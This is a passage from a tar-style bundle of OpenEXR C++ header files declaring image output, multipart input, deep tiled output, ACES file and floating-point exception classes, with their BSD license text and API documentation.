// * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_OUTPUT_FILE_H #define INCLUDED_IMF_OUTPUT_FILE_H //----------------------------------------------------------------------------- // // class OutputFile // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImfThreading.h" #include "ImfGenericOutputFile.h" #include "ImfNamespace.h" #include "ImfForward.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT OutputFile : public GenericOutputFile { public: //----------------------------------------------------------- // Constructor -- opens the file and writes the file header. // The file header is also copied into the OutputFile object, // and can later be accessed via the header() method. // Destroying this OutputFile object automatically closes // the file. // // numThreads determines the number of threads that will be // used to write the file (see ImfThreading.h). //----------------------------------------------------------- OutputFile (const char fileName[], const Header &header, int numThreads = globalThreadCount()); //------------------------------------------------------------ // Constructor -- attaches the new OutputFile object to a file // that has already been opened, and writes the file header. // The file header is also copied into the OutputFile object, // and can later be accessed via the header() method. // Destroying this OutputFile object does not automatically // close the file. // // numThreads determines the number of threads that will be // used to write the file (see ImfThreading.h). //------------------------------------------------------------ OutputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, const Header &header, int numThreads = globalThreadCount()); //------------------------------------------------- // Destructor // // Destroying the OutputFile object before writing // all scan lines within the data window results in // an incomplete file. //------------------------------------------------- virtual ~OutputFile (); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the OutputFile object. // // The current frame buffer is the source of the pixel // data written to the file. The current frame buffer // must be set at least once before writePixels() is // called. The current frame buffer can be changed // after each call to writePixels. //------------------------------------------------------- void setFrameBuffer (const FrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const FrameBuffer & frameBuffer () const; //------------------------------------------------------------------- // Write pixel data: // // writePixels(n) retrieves the next n scan lines worth of data from // the current frame buffer, starting with the scan line indicated by // currentScanLine(), and stores the data in the output file, and // progressing in the direction indicated by header.lineOrder(). // // To produce a complete and correct file, exactly m scan lines must // be written, where m is equal to // header().dataWindow().max.y - header().dataWindow().min.y + 1. //------------------------------------------------------------------- void writePixels (int numScanLines = 1); //------------------------------------------------------------------ // Access to the current scan line: // // currentScanLine() returns the y coordinate of the first scan line // that will be read from the current frame buffer during the next // call to writePixels(). // // If header.lineOrder() == INCREASING_Y: // // The current scan line before the first call to writePixels() // is header().dataWindow().min.y. After writing each scan line, // the current scan line is incremented by 1. // // If header.lineOrder() == DECREASING_Y: // // The current scan line before the first call to writePixels() // is header().dataWindow().max.y. After writing each scan line, // the current scan line is decremented by 1. // //------------------------------------------------------------------ int currentScanLine () const; //-------------------------------------------------------------- // Shortcut to copy all pixels from an InputFile into this file, // without uncompressing and then recompressing the pixel data. // This file's header must be compatible with the InputFile's // header: The two header's "dataWindow", "compression", // "lineOrder" and "channels" attributes must be the same. //-------------------------------------------------------------- void copyPixels (InputFile &in); //------------------------------------------------------------- // Shortcut to copy all pixels from an InputPart into this file // - equivalent to copyPixel(InputFile &in) but for multipart files //--------------------------------------------------------------- void copyPixels (InputPart &in); //-------------------------------------------------------------- // Updating the preview image: // // updatePreviewImage() supplies a new set of pixels for the // preview image attribute in the file's header. If the header // does not contain a preview image, updatePreviewImage() throws // an IEX_NAMESPACE::LogicExc. // // Note: updatePreviewImage() is necessary because images are // often stored in a file incrementally, a few scan lines at a // time, while the image is being generated. Since the preview // image is an attribute in the file's header, it gets stored in // the file as soon as the file is opened, but we may not know // what the preview image should look like until we have written // the last scan line of the main image. // //-------------------------------------------------------------- void updatePreviewImage (const PreviewRgba newPixels[]); //--------------------------------------------------------- // Break a scan line -- for testing and debugging only: // // breakScanLine(y,p,n,c) introduces an error into the // output file by writing n copies of character c, starting // p bytes from the beginning of the pixel data block that // contains scan line y. // // Warning: Calling this function usually results in a // broken image file. The file or parts of it may not // be readable, or the file may contain bad data. // //--------------------------------------------------------- void breakScanLine (int y, int offset, int length, char c); struct Data; private: //------------------------------------------------------------ // Constructor -- attaches the OutputStreamMutex to the // given one from MultiPartOutputFile. Set the previewPosition // and lineOffsetsPosition which have been acquired from // the constructor of MultiPartOutputFile as well. //------------------------------------------------------------ OutputFile (const OutputPartData* part); OutputFile (const OutputFile &); // not implemented OutputFile & operator = (const OutputFile &); // not implemented void initialize (const Header &header); Data * _data; friend class MultiPartOutputFile; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/IexMathFloatExc.h 0000644 00000011117 15246445047 0011176 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEXMATHFLOATEXC_H #define INCLUDED_IEXMATHFLOATEXC_H #ifndef IEXMATH_EXPORT_H #define IEXMATH_EXPORT_H #if defined(OPENEXR_DLL) #if defined(IEX_EXPORTS) #define IEXMATH_EXPORT __declspec(dllexport) #else #define IEXMATH_EXPORT __declspec(dllimport) #endif #define IEXMATH_EXPORT_CONST #else #define IEXMATH_EXPORT #define IEXMATH_EXPORT_CONST const #endif #endif #include "IexNamespace.h" #include "IexMathExc.h" //#include <IexBaseExc.h> #include "IexMathIeeeExc.h" IEX_INTERNAL_NAMESPACE_HEADER_ENTER //------------------------------------------------------------- // Function mathExcOn() defines which floating point exceptions // will be trapped and converted to C++ exceptions. //------------------------------------------------------------- IEXMATH_EXPORT void mathExcOn (int when = (IEEE_OVERFLOW | IEEE_DIVZERO | IEEE_INVALID)); //---------------------------------------------------------------------- // Function getMathExcOn() tells you for which floating point exceptions // trapping and conversion to C++ exceptions is currently enabled. //---------------------------------------------------------------------- IEXMATH_EXPORT int getMathExcOn(); //------------------------------------------------------------------------ // A classs that temporarily sets floating point exception trapping // and conversion, and later restores the previous settings. // // Example: // // float // trickyComputation (float x) // { // MathExcOn meo (0); // temporarily disable floating // // point exception trapping // // float result = ...; // computation which may cause // // floating point exceptions // // return result; // destruction of meo restores // } // the program's previous floating // // point exception settings //------------------------------------------------------------------------ class IEXMATH_EXPORT MathExcOn { public: MathExcOn (int when) : _changed (false) { _saved = getMathExcOn(); if (_saved != when) { _changed = true; mathExcOn (when); } } ~MathExcOn () { if (_changed) mathExcOn (_saved); } // It is possible for functions to set the exception registers // yet not trigger a SIGFPE. Specifically, the implementation // of pow(x, y) we're using can generates a NaN from a negative x // and fractional y but a SIGFPE is not generated. // This function examimes the exception registers and calls the // fpHandler if those registers modulo the exception mask are set. // It should be called wherever this class is commonly used where it has // been found that certain floating point exceptions are not being thrown. void handleOutstandingExceptions(); private: bool _changed; int _saved; }; IEX_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfOutputPart.h 0000644 00000006050 15246445047 0010774 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFOUTPUTPART_H_ #define IMFOUTPUTPART_H_ #include "ImfMultiPartOutputFile.h" #include "ImfOutputFile.h" #include "ImfForward.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //--------------------------------------------------------------------- // class OutputPart: // // Same interface as OutputFile. Please refer to OutputFile. //--------------------------------------------------------------------- class IMF_EXPORT OutputPart { public: OutputPart(MultiPartOutputFile& multiPartFile, int partNumber); const char * fileName () const; const Header & header () const; void setFrameBuffer (const FrameBuffer &frameBuffer); const FrameBuffer & frameBuffer () const; void writePixels (int numScanLines = 1); int currentScanLine () const; void copyPixels (InputFile &in); void copyPixels (InputPart &in); void updatePreviewImage (const PreviewRgba newPixels[]); void breakScanLine (int y, int offset, int length, char c); private: OutputFile* file; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFOUTPUTPART_H_ */ OpenEXR/ImfDeepTiledOutputPart.h 0000644 00000035520 15246445047 0012560 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFDEEPTILEDOUTPUTPART_H_ #define IMFDEEPTILEDOUTPUTPART_H_ #include "ImfForward.h" #include "ImfDeepTiledInputFile.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT DeepTiledOutputPart { public: DeepTiledOutputPart(MultiPartOutputFile& multiPartFile, int partNumber); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the TiledOutputFile object. // // The current frame buffer is the source of the pixel // data written to the file. The current frame buffer // must be set at least once before writeTile() is // called. The current frame buffer can be changed // after each call to writeTile(). //------------------------------------------------------- void setFrameBuffer (const DeepFrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const DeepFrameBuffer & frameBuffer () const; //------------------- // Utility functions: //------------------- //--------------------------------------------------------- // Multiresolution mode and tile size: // The following functions return the xSize, ySize and mode // fields of the file header's TileDescriptionAttribute. //--------------------------------------------------------- unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; //-------------------------------------------------------------------- // Number of levels: // // numXLevels() returns the file's number of levels in x direction. // // if levelMode() == ONE_LEVEL: // return value is: 1 // // if levelMode() == MIPMAP_LEVELS: // return value is: rfunc (log (max (w, h)) / log (2)) + 1 // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (w) / log (2)) + 1 // // where // w is the width of the image's data window, max.x - min.x + 1, // y is the height of the image's data window, max.y - min.y + 1, // and rfunc(x) is either floor(x), or ceil(x), depending on // whether levelRoundingMode() returns ROUND_DOWN or ROUND_UP. // // numYLevels() returns the file's number of levels in y direction. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (h) / log (2)) + 1 // // // numLevels() is a convenience function for use with MIPMAP_LEVELS // files. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // an IEX_NAMESPACE::LogicExc exception is thrown // // isValidLevel(lx, ly) returns true if the file contains // a level with level number (lx, ly), false if not. // //-------------------------------------------------------------------- int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; //--------------------------------------------------------- // Dimensions of a level: // // levelWidth(lx) returns the width of a level with level // number (lx, *), where * is any number. // // return value is: // max (1, rfunc (w / pow (2, lx))) // // // levelHeight(ly) returns the height of a level with level // number (*, ly), where * is any number. // // return value is: // max (1, rfunc (h / pow (2, ly))) // //--------------------------------------------------------- int levelWidth (int lx) const; int levelHeight (int ly) const; //---------------------------------------------------------- // Number of tiles: // // numXTiles(lx) returns the number of tiles in x direction // that cover a level with level number (lx, *), where * is // any number. // // return value is: // (levelWidth(lx) + tileXSize() - 1) / tileXSize() // // // numYTiles(ly) returns the number of tiles in y direction // that cover a level with level number (*, ly), where * is // any number. // // return value is: // (levelHeight(ly) + tileXSize() - 1) / tileXSize() // //---------------------------------------------------------- int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; //--------------------------------------------------------- // Level pixel ranges: // // dataWindowForLevel(lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a level with // level number (lx, ly) // // return value is a Box2i with min value: // (dataWindow.min.x, dataWindow.min.y) // // and max value: // (dataWindow.min.x + levelWidth(lx) - 1, // dataWindow.min.y + levelHeight(ly) - 1) // // dataWindowForLevel(level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForLevel(level, level). // //--------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; //------------------------------------------------------------------- // Tile pixel ranges: // // dataWindowForTile(dx, dy, lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a tile with tile coordinates // (dx,dy) and level number (lx, ly). // // return value is a Box2i with min value: // (dataWindow.min.x + dx * tileXSize(), // dataWindow.min.y + dy * tileYSize()) // // and max value: // (dataWindow.min.x + (dx + 1) * tileXSize() - 1, // dataWindow.min.y + (dy + 1) * tileYSize() - 1) // // dataWindowForTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForTile(dx, dy, level, level). // //------------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; //------------------------------------------------------------------ // Write pixel data: // // writeTile(dx, dy, lx, ly) writes the tile with tile // coordinates (dx, dy), and level number (lx, ly) to // the file. // // dx must lie in the interval [0, numXTiles(lx) - 1] // dy must lie in the interval [0, numYTiles(ly) - 1] // // lx must lie in the interval [0, numXLevels() - 1] // ly must lie in the inverval [0, numYLevels() - 1] // // writeTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVEL files. It calls // writeTile(dx, dy, level, level). // // The two writeTiles(dx1, dx2, dy1, dy2, ...) functions allow // writing multiple tiles at once. If multi-threading is used // multiple tiles are written concurrently. The tile coordinates, // dx1, dx2 and dy1, dy2, specify inclusive ranges of tile // coordinates. It is valid for dx1 < dx2 or dy1 < dy2; the // tiles are always written in the order specified by the line // order attribute. Hence, it is not possible to specify an // "invalid" or empty tile range. // // Pixels that are outside the pixel coordinate range for the tile's // level, are never accessed by writeTile(). // // Each tile in the file must be written exactly once. // // The file's line order attribute determines the order of the tiles // in the file: // // INCREASING_Y In the file, the tiles for each level are stored // in a contiguous block. The levels are ordered // like this: // // (0, 0) (1, 0) ... (nx-1, 0) // (0, 1) (1, 1) ... (nx-1, 1) // ... // (0,ny-1) (1,ny-1) ... (nx-1,ny-1) // // where nx = numXLevels(), and ny = numYLevels(). // In an individual level, (lx, ly), the tiles // are stored in the following order: // // (0, 0) (1, 0) ... (tx-1, 0) // (0, 1) (1, 1) ... (tx-1, 1) // ... // (0,ty-1) (1,ty-1) ... (tx-1,ty-1) // // where tx = numXTiles(lx), // and ty = numYTiles(ly). // // DECREASING_Y As for INCREASING_Y, the tiles for each level // are stored in a contiguous block. The levels // are ordered the same way as for INCREASING_Y, // but within an individual level, the tiles // are stored in this order: // // (0,ty-1) (1,ty-1) ... (tx-1,ty-1) // ... // (0, 1) (1, 1) ... (tx-1, 1) // (0, 0) (1, 0) ... (tx-1, 0) // // // RANDOM_Y The order of the calls to writeTile() determines // the order of the tiles in the file. // //------------------------------------------------------------------ void writeTile (int dx, int dy, int l = 0); void writeTile (int dx, int dy, int lx, int ly); void writeTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void writeTiles (int dx1, int dx2, int dy1, int dy2, int l = 0); //------------------------------------------------------------------ // Shortcut to copy all pixels from a TiledInputFile into this file, // without uncompressing and then recompressing the pixel data. // This file's header must be compatible with the TiledInputFile's // header: The two header's "dataWindow", "compression", // "lineOrder", "channels", and "tiles" attributes must be the same. //------------------------------------------------------------------ void copyPixels (DeepTiledInputFile &in); void copyPixels (DeepTiledInputPart &in); //-------------------------------------------------------------- // Updating the preview image: // // updatePreviewImage() supplies a new set of pixels for the // preview image attribute in the file's header. If the header // does not contain a preview image, updatePreviewImage() throws // an IEX_NAMESPACE::LogicExc. // // Note: updatePreviewImage() is necessary because images are // often stored in a file incrementally, a few tiles at a time, // while the image is being generated. Since the preview image // is an attribute in the file's header, it gets stored in the // file as soon as the file is opened, but we may not know what // the preview image should look like until we have written the // last tile of the main image. // //-------------------------------------------------------------- void updatePreviewImage (const PreviewRgba newPixels[]); //------------------------------------------------------------- // Break a tile -- for testing and debugging only: // // breakTile(dx,dy,lx,ly,p,n,c) introduces an error into the // output file by writing n copies of character c, starting // p bytes from the beginning of the tile with tile coordinates // (dx, dy) and level number (lx, ly). // // Warning: Calling this function usually results in a broken // image file. The file or parts of it may not be readable, // or the file may contain bad data. // //------------------------------------------------------------- void breakTile (int dx, int dy, int lx, int ly, int offset, int length, char c); private: DeepTiledOutputFile* file; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFDEEPTILEDOUTPUTPART_H_ */ OpenEXR/ImfMultiPartInputFile.h 0000644 00000007703 15246445047 0012414 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFMULTIPARTINPUTFILE_H_ #define IMFMULTIPARTINPUTFILE_H_ #include "ImfGenericInputFile.h" #include "ImfNamespace.h" #include "ImfForward.h" #include "ImfThreading.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT MultiPartInputFile : public GenericInputFile { public: MultiPartInputFile(const char fileName[], int numThreads = globalThreadCount(), bool reconstructChunkOffsetTable = true); MultiPartInputFile(IStream& is, int numThreads = globalThreadCount(), bool reconstructChunkOffsetTable = true); virtual ~MultiPartInputFile(); // ---------------------- // Count of number of parts in file // --------------------- int parts() const; //---------------------- // Access to the headers //---------------------- const Header & header(int n) const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; // =---------------------------------------- // Check whether the entire chunk offset // table for the part is written correctly // ----------------------------------------- bool partComplete(int part) const; struct Data; private: Data* _data; MultiPartInputFile(const MultiPartInputFile &); // not implemented // // used internally by 'Part' types to access individual parts of the multipart file // template<class T> T* getInputPart(int partNumber); InputPartData* getPart(int); void initialize(); friend class InputPart; friend class ScanLineInputPart; friend class TiledInputPart; friend class DeepScanLineInputPart; friend class DeepTiledInputPart; // // For backward compatibility. // friend class InputFile; friend class TiledInputFile; friend class ScanLineInputFile; friend class DeepScanLineInputFile; friend class DeepTiledInputFile; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFMULTIPARTINPUTFILE_H_ */ OpenEXR/ImfAcesFile.h 0000644 00000024426 15246445047 0010327 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2007, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_ACES_FILE_H #define INCLUDED_IMF_ACES_FILE_H //----------------------------------------------------------------------------- // // ACES image file I/O. // // This header file declares two classes that directly support // image file input and output according to the Academy Image // Interchange Framework. // // The Academy Image Interchange file format is a subset of OpenEXR: // // - Images are stored as scanlines. Tiles are not allowed. // // - Images contain three color channels, either // R, G, B (red, green, blue) or // Y, RY, BY (luminance, sub-sampled chroma) // // - Images may optionally contain an alpha channel. // // - Only three compression types are allowed: // - NO_COMPRESSION (file is not compressed) // - PIZ_COMPRESSION (lossless) // - B44A_COMPRESSION (lossy) // // - The "chromaticities" header attribute must specify // the ACES RGB primaries and white point. // // class AcesOutputFile writes an OpenEXR file, enforcing the // restrictions listed above. Pixel data supplied by application // software must already be in the ACES RGB space. // // class AcesInputFile reads an OpenEXR file. Pixel data delivered // to application software is guaranteed to be in the ACES RGB space. // If the RGB space of the file is not the same as the ACES space, // then the pixels are automatically converted: the pixels are // converted to CIE XYZ, a color adaptation transform shifts the // white point, and the result is converted to ACES RGB. // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfRgba.h" #include "ImathVec.h" #include "ImathBox.h" #include "ImfThreading.h" #include "ImfNamespace.h" #include "ImfExport.h" #include "ImfForward.h" #include <string> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // ACES red, green, blue and white-point chromaticities. // const Chromaticities & acesChromaticities (); // // ACES output file. // class IMF_EXPORT AcesOutputFile { public: //--------------------------------------------------- // Constructor -- header is constructed by the caller //--------------------------------------------------- AcesOutputFile (const std::string &name, const Header &header, RgbaChannels rgbaChannels = WRITE_RGBA, int numThreads = globalThreadCount()); //---------------------------------------------------- // Constructor -- header is constructed by the caller, // file is opened by the caller, destructor will not // automatically close the file. //---------------------------------------------------- AcesOutputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, const Header &header, RgbaChannels rgbaChannels = WRITE_RGBA, int numThreads = globalThreadCount()); //---------------------------------------------------------------- // Constructor -- header data are explicitly specified as function // call arguments (empty dataWindow means "same as displayWindow") //---------------------------------------------------------------- AcesOutputFile (const std::string &name, const IMATH_NAMESPACE::Box2i &displayWindow, const IMATH_NAMESPACE::Box2i &dataWindow = IMATH_NAMESPACE::Box2i(), RgbaChannels rgbaChannels = WRITE_RGBA, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = 